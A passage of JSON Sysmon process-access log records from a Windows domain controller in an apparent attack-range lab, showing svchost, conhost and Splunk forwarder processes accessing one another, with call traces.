53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3990,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3991,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:38.994\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40C2-5F2D-0000-001099AF0500}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:38.994","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40C2-5F2D-0000-001099AF0500}","TargetProcessId":"4912","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3992,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:39.135\r\nSourceProcessGUID: {90617006-40C2-5F2D-0000-001099AF0500}\r\nSourceProcessId: 4912\r\nSourceThreadId: 3908\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: 